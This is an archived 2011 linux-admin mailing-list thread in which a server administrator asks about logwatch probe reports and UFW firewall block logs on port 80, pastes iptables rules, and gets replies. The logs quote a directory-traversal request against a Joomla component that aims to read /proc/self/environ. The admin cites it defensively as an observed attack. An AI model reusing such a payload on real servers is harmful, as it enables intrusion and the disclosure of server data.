UFW logging

All of lore.kernel.org
 help / color / mirror / Atom feed

* UFW logging
@ 2011-12-20 14:03 Dermot Paikkos
  2011-12-20 14:54 ` Marcel Galke - Trans4mation
                   ` (2 more replies)
  0 siblings, 3 replies; 11+ messages in thread
From: Dermot Paikkos @ 2011-12-20 14:03 UTC (permalink / raw)
  To: linux-admin

Hi,

I noticed on our company http server that I had a lot of 'probes'. My 
logwatch file (text-mode) is 3+MB and rising. I have thousands of 
entries in my logwatch reports:

A total of 5711 sites probed the server 
    1.152.198.116
    1.22.185.5
    1.23.105.130
    1.38.24.232
    1.38.25.24
    1.39.95.219
    1.53.101.185
    101.108.239.43
...
...
...

I'm not sure what the above probes are. Any help in understanding the 
above would be appreciated. 

I also have several entries like this:

A total of 4 possible successful probes were detected (the following 
URLs
 contain strings that match one or more of a listing of strings that
 indicate a possible exploit):
 
    
/images/?option=com_sectionex&controller=../../../../../../../../../../.
./../..//proc/self/environ%0000 HTTP Response 200 
    /?

I believe these are php exploits. 

To help secure the server, I installed UFW, enabled and allowed HTTP, 
HTTPS and SSH. I then monitored the logs to see what was happening. What 
I am not clear on is what service the log entries below refer to.


Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK FIN
URGP=0
Dec 20 13:11:01 myserver kernel: [4808311.356089] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=151.96.254.4 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=55
ID=44116 PROTO=TCP SPT=58842 DPT=80 WINDOW=1032 RES=0x00 ACK RST
URGP=0

I am getting an entry like this every 20-30 seconds. Can anyone tell me 
what service/port is being blocked in the above log entries?

Below are the rules at the moment. 
Thanks in advance,
Dermot

Chain ufw-user-input (1 references)
    pkts      bytes target     prot opt in     out     source
     destination
   29164  1620981 ACCEPT     tcp  --  *      *       0.0.0.0/0
   0.0.0.0/0           tcp dpt:80 /* 'dapp_Apache' */
    5151   299728 ACCEPT     tcp  --  *      *       0.0.0.0/0
   0.0.0.0/0           multiport dports 80,443 /* 'dapp_Apache%20Full'
*/
       3      180 ACCEPT     tcp  --  *      *       0.0.0.0/0
   0.0.0.0/0           tcp dpt:22 /* 'dapp_OpenSSH' */
       0        0 REJECT     all  --  *      *       220.162.244.251
   0.0.0.0/0           reject-with icmp-port-unreachable
       0        0 REJECT     all  --  *      *       217.115.199.40
   0.0.0.0/0           reject-with icmp-port-unreachable
       0        0 REJECT     all  --  *      *       93.84.116.216
   0.0.0.0/0           reject-with icmp-port-unreachable
       0        0 REJECT     all  --  *      *       85.10.204.194
   0.0.0.0/0           reject-with icmp-port-unreachable
       0        0 REJECT     all  --  *      *       221.232.155.6
   0.0.0.0/0           reject-with icmp-port-unreachable
       0        0 REJECT     all  --  *      *       122.255.96.164
   0.0.0.0/0           reject-with icmp-port-unreachable
       0        0 REJECT     all  --  *      *       77.240.21.131
   0.0.0.0/0           reject-with icmp-port-unreachable
       0        0 REJECT     all  --  *      *       83.170.79.6
   0.0.0.0/0           reject-with icmp-port-unreachable

Chain ufw-user-forward (1 references)
    pkts      bytes target     prot opt in     out     source
     destination

Chain ufw-user-output (1 references)
    pkts      bytes target     prot opt in     out     source
     destination

Chain ufw-user-limit-accept (0 references)
    pkts      bytes target     prot opt in     out     source
     destination
       0        0 ACCEPT     all  --  *      *       0.0.0.0/0
   0.0.0.0/0

Chain ufw-user-limit (0 references)
    pkts      bytes target     prot opt in     out     source
     destination
       0        0 LOG        all  --  *      *       0.0.0.0/0
   0.0.0.0/0           limit: avg 3/min burst 5 LOG flags 0 level 4
prefix `[UFW LIMIT BLOCK] '
       0        0 REJECT     all  --  *      *       0.0.0.0/0
   0.0.0.0/0           reject-with icmp-port-unreachable

^ permalink raw reply	[flat|nested] 11+ messages in thread

* RE: UFW logging
  2011-12-20 14:03 UFW logging Dermot Paikkos
@ 2011-12-20 14:54 ` Marcel Galke - Trans4mation
  2011-12-20 15:29   ` Dermot Paikkos
  2011-12-20 18:30 ` terry white
  2011-12-22 15:58 ` UFW logging Saurabh Bathe
  2 siblings, 1 reply; 11+ messages in thread
From: Marcel Galke - Trans4mation @ 2011-12-20 14:54 UTC (permalink / raw)
  To: linux-admin@vger.kernel.org

Hello Dermot,

as far as I can see, HTTP is blocked (DPT=80). 

Why are you using UFW. You've got a DMZ?


Regards Marcel

> -----Original Message-----
> From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> Sent: Tuesday, December 20, 2011 3:03 PM
> To: linux-admin@vger.kernel.org
> Subject: UFW logging
> 
> Hi,
> 
> I noticed on our company http server that I had a lot of 'probes'. My
> logwatch file (text-mode) is 3+MB and rising. I have thousands of
> entries in my logwatch reports:
> 
> A total of 5711 sites probed the server
>     1.152.198.116
>     1.22.185.5
>     1.23.105.130
>     1.38.24.232
>     1.38.25.24
>     1.39.95.219
>     1.53.101.185
>     101.108.239.43
> ...
> ...
> ...
> 
> I'm not sure what the above probes are. Any help in understanding the
> above would be appreciated.
> 
> I also have several entries like this:
> 
> A total of 4 possible successful probes were detected (the following
> URLs
>  contain strings that match one or more of a listing of strings that
>  indicate a possible exploit):
> 
> 
> /images/?option=com_sectionex&controller=../../../../../../../../../../.
> ./../..//proc/self/environ%0000 HTTP Response 200
>     /?
> 
> I believe these are php exploits.
> 
> To help secure the server, I installed UFW, enabled and allowed HTTP,
> HTTPS and SSH. I then monitored the logs to see what was happening. What
> I am not clear on is what service the log entries below refer to.
> 
> 
> Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
> ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK
> FIN
> URGP=0
> Dec 20 13:11:01 myserver kernel: [4808311.356089] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=151.96.254.4 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=55
> ID=44116 PROTO=TCP SPT=58842 DPT=80 WINDOW=1032 RES=0x00 ACK RST
> URGP=0
> 
> I am getting an entry like this every 20-30 seconds. Can anyone tell me
> what service/port is being blocked in the above log entries?
> 
> Below are the rules at the moment.
> Thanks in advance,
> Dermot
> 
> Chain ufw-user-input (1 references)
>     pkts      bytes target     prot opt in     out     source
>      destination
>    29164  1620981 ACCEPT     tcp  --  *      *       0.0.0.0/0
>    0.0.0.0/0           tcp dpt:80 /* 'dapp_Apache' */
>     5151   299728 ACCEPT     tcp  --  *      *       0.0.0.0/0
>    0.0.0.0/0           multiport dports 80,443 /* 'dapp_Apache%20Full'
> */
>        3      180 ACCEPT     tcp  --  *      *       0.0.0.0/0
>    0.0.0.0/0           tcp dpt:22 /* 'dapp_OpenSSH' */
>        0        0 REJECT     all  --  *      *       220.162.244.251
>    0.0.0.0/0           reject-with icmp-port-unreachable
>        0        0 REJECT     all  --  *      *       217.115.199.40
>    0.0.0.0/0           reject-with icmp-port-unreachable
>        0        0 REJECT     all  --  *      *       93.84.116.216
>    0.0.0.0/0           reject-with icmp-port-unreachable
>        0        0 REJECT     all  --  *      *       85.10.204.194
>    0.0.0.0/0           reject-with icmp-port-unreachable
>        0        0 REJECT     all  --  *      *       221.232.155.6
>    0.0.0.0/0           reject-with icmp-port-unreachable
>        0        0 REJECT     all  --  *      *       122.255.96.164
>    0.0.0.0/0           reject-with icmp-port-unreachable
>        0        0 REJECT     all  --  *      *       77.240.21.131
>    0.0.0.0/0           reject-with icmp-port-unreachable
>        0        0 REJECT     all  --  *      *       83.170.79.6
>    0.0.0.0/0           reject-with icmp-port-unreachable
> 
> Chain ufw-user-forward (1 references)
>     pkts      bytes target     prot opt in     out     source
>      destination
> 
> Chain ufw-user-output (1 references)
>     pkts      bytes target     prot opt in     out     source
>      destination
> 
> Chain ufw-user-limit-accept (0 references)
>     pkts      bytes target     prot opt in     out     source
>      destination
>        0        0 ACCEPT     all  --  *      *       0.0.0.0/0
>    0.0.0.0/0
> 
> Chain ufw-user-limit (0 references)
>     pkts      bytes target     prot opt in     out     source
>      destination
>        0        0 LOG        all  --  *      *       0.0.0.0/0
>    0.0.0.0/0           limit: avg 3/min burst 5 LOG flags 0 level 4
> prefix `[UFW LIMIT BLOCK] '
>        0        0 REJECT     all  --  *      *       0.0.0.0/0
>    0.0.0.0/0           reject-with icmp-port-unreachable
> --
> To unsubscribe from this list: send the line "unsubscribe linux-admin" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

^ permalink raw reply	[flat|nested] 11+ messages in thread

* RE: UFW logging
  2011-12-20 14:54 ` Marcel Galke - Trans4mation
@ 2011-12-20 15:29   ` Dermot Paikkos
  2011-12-20 15:41     ` Marcel Galke - Trans4mation
  0 siblings, 1 reply; 11+ messages in thread
From: Dermot Paikkos @ 2011-12-20 15:29 UTC (permalink / raw)
  To: linux-admin

> -----Original Message-----
> 
> Hello Dermot,
> 
> as far as I can see, HTTP is blocked (DPT=80).
> 
> Why are you using UFW. You've got a DMZ?
> 
> 
> Regards Marcel

Well I really hope that port 80 is open! I have not heard any complaints 
from users and I can still connect.

The command I ran was `ufw allow "Apache Full"`. This should have 
enabled the profile for Apache that is stored in 
/etc/ufw/applications.d/apache2.2-common. 

I am using UFW because I wanted to reject connections from those hosts 
that I could find in the httpd logs that were attempt to run the php 
exploits, I mentioned. There is a firewall in front of the server. The 
rules for the firewall allow all traffic to port 80 but it's not 
directly under my control. I thought that UFW would give me finer 
control over what hosts could connection.

Are you saying that the log entries I mentioned are for connections to 
port 80? Out of 300 log entries, 288 refer to DPT=80. 

I thought this rule would allow traffic to port 80:

ACCEPT tcp  --  *   *   0.0.0.0/0  0.0.0.0/0   multiport dports 80,443 
/* 'dapp_Apache%20Full'

Is it possible that these log entries refer to blocks to port 80 for 
some other reason, incomplete packets perhaps?

Thanks,
Dermot.


Here are a few more log entries.:

Dec 20 15:16:50 spl-live-04 kernel: [4815860.546796] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
ID=5744 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
Dec 20 15:17:10 spl-live-04 kernel: [4815880.590616] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
ID=12876 PROTO=TCP SPT=38735 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
Dec 20 15:17:30 spl-live-04 kernel: [4815900.544664] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
ID=42844 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
Dec 20 15:17:52 spl-live-04 kernel: [4815921.978254] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=46.103.144.234 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
ID=49496 DF PROTO=TCP SPT=49793 DPT=80 WINDOW=65535 RES=0x00 ACK RST
URGP=0
Dec 20 15:18:11 spl-live-04 kernel: [4815940.856559] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=167.21.254.12 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=50
ID=22633 PROTO=TCP SPT=56527 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
Dec 20 15:18:31 spl-live-04 kernel: [4815961.228775] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=194.209.88.151 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=49
ID=36073 PROTO=TCP SPT=59930 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
Dec 20 15:18:50 spl-live-04 kernel: [4815980.576344] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=145.36.235.4 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=53
ID=45980 PROTO=TCP SPT=27691 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
URGP=0
Dec 20 15:19:11 spl-live-04 kernel: [4816001.276032] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=82.137.200.53 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=47
ID=36569 PROTO=TCP SPT=62544 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
URGP=0
Dec 20 15:19:31 spl-live-04 kernel: [4816021.003750] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=34.254.119.222 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=58
ID=34212 PROTO=TCP SPT=53102 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0






> > -----Original Message-----
> > From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> > owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> > Sent: Tuesday, December 20, 2011 3:03 PM
> > To: linux-admin@vger.kernel.org
> > Subject: UFW logging
> >
> > Hi,
> >
> > I noticed on our company http server that I had a lot of 'probes'. 
My
> > logwatch file (text-mode) is 3+MB and rising. I have thousands of
> > entries in my logwatch reports:
> >
> > A total of 5711 sites probed the server
> >     1.152.198.116
> >     1.22.185.5
> >     1.23.105.130
> >     1.38.24.232
> >     1.38.25.24
> >     1.39.95.219
> >     1.53.101.185
> >     101.108.239.43
> > ...
> > ...
> > ...
> >
> > I'm not sure what the above probes are. Any help in understanding 
the
> > above would be appreciated.
> >
> > I also have several entries like this:
> >
> > A total of 4 possible successful probes were detected (the following
> > URLs
> >  contain strings that match one or more of a listing of strings that
> >  indicate a possible exploit):
> >
> >
> >
> 
/images/?option=com_sectionex&controller=../../../../../../../../../../
> .
> > ./../..//proc/self/environ%0000 HTTP Response 200
> >     /?
> >
> > I believe these are php exploits.
> >
> > To help secure the server, I installed UFW, enabled and allowed 
HTTP,
> > HTTPS and SSH. I then monitored the logs to see what was happening.
> What
> > I am not clear on is what service the log entries below refer to.
> >
> >
> > Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
> > ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK
> > FIN
> > URGP=0
> > Dec 20 13:11:01 myserver kernel: [4808311.356089] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=151.96.254.4 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=55
> > ID=44116 PROTO=TCP SPT=58842 DPT=80 WINDOW=1032 RES=0x00 ACK RST
> > URGP=0
> >
> > I am getting an entry like this every 20-30 seconds. Can anyone tell
> me
> > what service/port is being blocked in the above log entries?
> >
> > Below are the rules at the moment.
> > Thanks in advance,
> > Dermot
> >
> > Chain ufw-user-input (1 references)
> >     pkts      bytes target     prot opt in     out     source
> >      destination
> >    29164  1620981 ACCEPT     tcp  --  *      *       0.0.0.0/0
> >    0.0.0.0/0           tcp dpt:80 /* 'dapp_Apache' */
> >     5151   299728 ACCEPT     tcp  --  *      *       0.0.0.0/0
> >    0.0.0.0/0           multiport dports 80,443 /*
> 'dapp_Apache%20Full'
> > */
> >        3      180 ACCEPT     tcp  --  *      *       0.0.0.0/0
> >    0.0.0.0/0           tcp dpt:22 /* 'dapp_OpenSSH' */
> >        0        0 REJECT     all  --  *      *       220.162.244.251
> >    0.0.0.0/0           reject-with icmp-port-unreachable
> >        0        0 REJECT     all  --  *      *       217.115.199.40
> >    0.0.0.0/0           reject-with icmp-port-unreachable
> >        0        0 REJECT     all  --  *      *       93.84.116.216
> >    0.0.0.0/0           reject-with icmp-port-unreachable
> >        0        0 REJECT     all  --  *      *       85.10.204.194
> >    0.0.0.0/0           reject-with icmp-port-unreachable
> >        0        0 REJECT     all  --  *      *       221.232.155.6
> >    0.0.0.0/0           reject-with icmp-port-unreachable
> >        0        0 REJECT     all  --  *      *       122.255.96.164
> >    0.0.0.0/0           reject-with icmp-port-unreachable
> >        0        0 REJECT     all  --  *      *       77.240.21.131
> >    0.0.0.0/0           reject-with icmp-port-unreachable
> >        0        0 REJECT     all  --  *      *       83.170.79.6
> >    0.0.0.0/0           reject-with icmp-port-unreachable
> >
> > Chain ufw-user-forward (1 references)
> >     pkts      bytes target     prot opt in     out     source
> >      destination
> >
> > Chain ufw-user-output (1 references)
> >     pkts      bytes target     prot opt in     out     source
> >      destination
> >
> > Chain ufw-user-limit-accept (0 references)
> >     pkts      bytes target     prot opt in     out     source
> >      destination
> >        0        0 ACCEPT     all  --  *      *       0.0.0.0/0
> >    0.0.0.0/0
> >
> > Chain ufw-user-limit (0 references)
> >     pkts      bytes target     prot opt in     out     source
> >      destination
> >        0        0 LOG        all  --  *      *       0.0.0.0/0
> >    0.0.0.0/0           limit: avg 3/min burst 5 LOG flags 0 level 4
> > prefix `[UFW LIMIT BLOCK] '
> >        0        0 REJECT     all  --  *      *       0.0.0.0/0
> >    0.0.0.0/0           reject-with icmp-port-unreachable
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-
> admin" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> --
> To unsubscribe from this list: send the line "unsubscribe linux-admin"
> in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



^ permalink raw reply	[flat|nested] 11+ messages in thread

* RE: UFW logging
  2011-12-20 15:29   ` Dermot Paikkos
@ 2011-12-20 15:41     ` Marcel Galke - Trans4mation
  2011-12-20 16:32       ` Dermot Paikkos
  0 siblings, 1 reply; 11+ messages in thread
From: Marcel Galke - Trans4mation @ 2011-12-20 15:41 UTC (permalink / raw)
  To: linux-admin@vger.kernel.org

The  lines containing " ... [UFW BLOCK] ...PROTO=TCP SPT=56527 DPT=80 " definitively refer to HTTP, for me. 

May be it's the best to inform your security team about your problems. They got better wappons then ufw. ;)
The source IPs are changing quickly, so it's not possible to set a connection limit per host.
Have you set a connection limit for your websites?


Regards Marcel

> -----Original Message-----
> From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> Sent: Tuesday, December 20, 2011 4:30 PM
> To: linux-admin@vger.kernel.org
> Subject: RE: UFW logging
> 
> > -----Original Message-----
> >
> > Hello Dermot,
> >
> > as far as I can see, HTTP is blocked (DPT=80).
> >
> > Why are you using UFW. You've got a DMZ?
> >
> >
> > Regards Marcel
> 
> Well I really hope that port 80 is open! I have not heard any complaints
> from users and I can still connect.
> 
> The command I ran was `ufw allow "Apache Full"`. This should have
> enabled the profile for Apache that is stored in
> /etc/ufw/applications.d/apache2.2-common.
> 
> I am using UFW because I wanted to reject connections from those hosts
> that I could find in the httpd logs that were attempt to run the php
> exploits, I mentioned. There is a firewall in front of the server. The
> rules for the firewall allow all traffic to port 80 but it's not
> directly under my control. I thought that UFW would give me finer
> control over what hosts could connection.
> 
> Are you saying that the log entries I mentioned are for connections to
> port 80? Out of 300 log entries, 288 refer to DPT=80.
> 
> I thought this rule would allow traffic to port 80:
> 
> ACCEPT tcp  --  *   *   0.0.0.0/0  0.0.0.0/0   multiport dports 80,443
> /* 'dapp_Apache%20Full'
> 
> Is it possible that these log entries refer to blocks to port 80 for
> some other reason, incomplete packets perhaps?
> 
> Thanks,
> Dermot.
> 
> 
> Here are a few more log entries.:
> 
> Dec 20 15:16:50 spl-live-04 kernel: [4815860.546796] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> ID=5744 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:17:10 spl-live-04 kernel: [4815880.590616] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> ID=12876 PROTO=TCP SPT=38735 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:17:30 spl-live-04 kernel: [4815900.544664] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> ID=42844 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:17:52 spl-live-04 kernel: [4815921.978254] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=46.103.144.234 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> ID=49496 DF PROTO=TCP SPT=49793 DPT=80 WINDOW=65535 RES=0x00 ACK
> RST
> URGP=0
> Dec 20 15:18:11 spl-live-04 kernel: [4815940.856559] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=167.21.254.12 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=50
> ID=22633 PROTO=TCP SPT=56527 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:18:31 spl-live-04 kernel: [4815961.228775] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=194.209.88.151 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=49
> ID=36073 PROTO=TCP SPT=59930 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:18:50 spl-live-04 kernel: [4815980.576344] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=145.36.235.4 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=53
> ID=45980 PROTO=TCP SPT=27691 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:19:11 spl-live-04 kernel: [4816001.276032] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=82.137.200.53 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=47
> ID=36569 PROTO=TCP SPT=62544 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:19:31 spl-live-04 kernel: [4816021.003750] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=34.254.119.222 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=58
> ID=34212 PROTO=TCP SPT=53102 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> 
> 
> 
> 
> 
> 
> > > -----Original Message-----
> > > From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> > > owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> > > Sent: Tuesday, December 20, 2011 3:03 PM
> > > To: linux-admin@vger.kernel.org
> > > Subject: UFW logging
> > >
> > > Hi,
> > >
> > > I noticed on our company http server that I had a lot of 'probes'.
> My
> > > logwatch file (text-mode) is 3+MB and rising. I have thousands of
> > > entries in my logwatch reports:
> > >
> > > A total of 5711 sites probed the server
> > >     1.152.198.116
> > >     1.22.185.5
> > >     1.23.105.130
> > >     1.38.24.232
> > >     1.38.25.24
> > >     1.39.95.219
> > >     1.53.101.185
> > >     101.108.239.43
> > > ...
> > > ...
> > > ...
> > >
> > > I'm not sure what the above probes are. Any help in understanding
> the
> > > above would be appreciated.
> > >
> > > I also have several entries like this:
> > >
> > > A total of 4 possible successful probes were detected (the following
> > > URLs
> > >  contain strings that match one or more of a listing of strings that
> > >  indicate a possible exploit):
> > >
> > >
> > >
> >
> /images/?option=com_sectionex&controller=../../../../../../../../../../
> > .
> > > ./../..//proc/self/environ%0000 HTTP Response 200
> > >     /?
> > >
> > > I believe these are php exploits.
> > >
> > > To help secure the server, I installed UFW, enabled and allowed
> HTTP,
> > > HTTPS and SSH. I then monitored the logs to see what was happening.
> > What
> > > I am not clear on is what service the log entries below refer to.
> > >
> > >
> > > Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
> > > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > > SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
> > > ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00
> ACK
> > > FIN
> > > URGP=0
> > > Dec 20 13:11:01 myserver kernel: [4808311.356089] [UFW BLOCK]
> > > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > > SRC=151.96.254.4 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=55
> > > ID=44116 PROTO=TCP SPT=58842 DPT=80 WINDOW=1032 RES=0x00 ACK
> RST
> > > URGP=0
> > >
> > > I am getting an entry like this every 20-30 seconds. Can anyone tell
> > me
> > > what service/port is being blocked in the above log entries?
> > >
> > > Below are the rules at the moment.
> > > Thanks in advance,
> > > Dermot
> > >
> > > Chain ufw-user-input (1 references)
> > >     pkts      bytes target     prot opt in     out     source
> > >      destination
> > >    29164  1620981 ACCEPT     tcp  --  *      *       0.0.0.0/0
> > >    0.0.0.0/0           tcp dpt:80 /* 'dapp_Apache' */
> > >     5151   299728 ACCEPT     tcp  --  *      *       0.0.0.0/0
> > >    0.0.0.0/0           multiport dports 80,443 /*
> > 'dapp_Apache%20Full'
> > > */
> > >        3      180 ACCEPT     tcp  --  *      *       0.0.0.0/0
> > >    0.0.0.0/0           tcp dpt:22 /* 'dapp_OpenSSH' */
> > >        0        0 REJECT     all  --  *      *       220.162.244.251
> > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > >        0        0 REJECT     all  --  *      *       217.115.199.40
> > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > >        0        0 REJECT     all  --  *      *       93.84.116.216
> > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > >        0        0 REJECT     all  --  *      *       85.10.204.194
> > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > >        0        0 REJECT     all  --  *      *       221.232.155.6
> > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > >        0        0 REJECT     all  --  *      *       122.255.96.164
> > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > >        0        0 REJECT     all  --  *      *       77.240.21.131
> > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > >        0        0 REJECT     all  --  *      *       83.170.79.6
> > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > >
> > > Chain ufw-user-forward (1 references)
> > >     pkts      bytes target     prot opt in     out     source
> > >      destination
> > >
> > > Chain ufw-user-output (1 references)
> > >     pkts      bytes target     prot opt in     out     source
> > >      destination
> > >
> > > Chain ufw-user-limit-accept (0 references)
> > >     pkts      bytes target     prot opt in     out     source
> > >      destination
> > >        0        0 ACCEPT     all  --  *      *       0.0.0.0/0
> > >    0.0.0.0/0
> > >
> > > Chain ufw-user-limit (0 references)
> > >     pkts      bytes target     prot opt in     out     source
> > >      destination
> > >        0        0 LOG        all  --  *      *       0.0.0.0/0
> > >    0.0.0.0/0           limit: avg 3/min burst 5 LOG flags 0 level 4
> > > prefix `[UFW LIMIT BLOCK] '
> > >        0        0 REJECT     all  --  *      *       0.0.0.0/0
> > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > > --
> > > To unsubscribe from this list: send the line "unsubscribe linux-
> > admin" in
> > > the body of a message to majordomo@vger.kernel.org
> > > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-admin"
> > in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-admin" in
> the body of a message to majordomo@vger.kernel.org
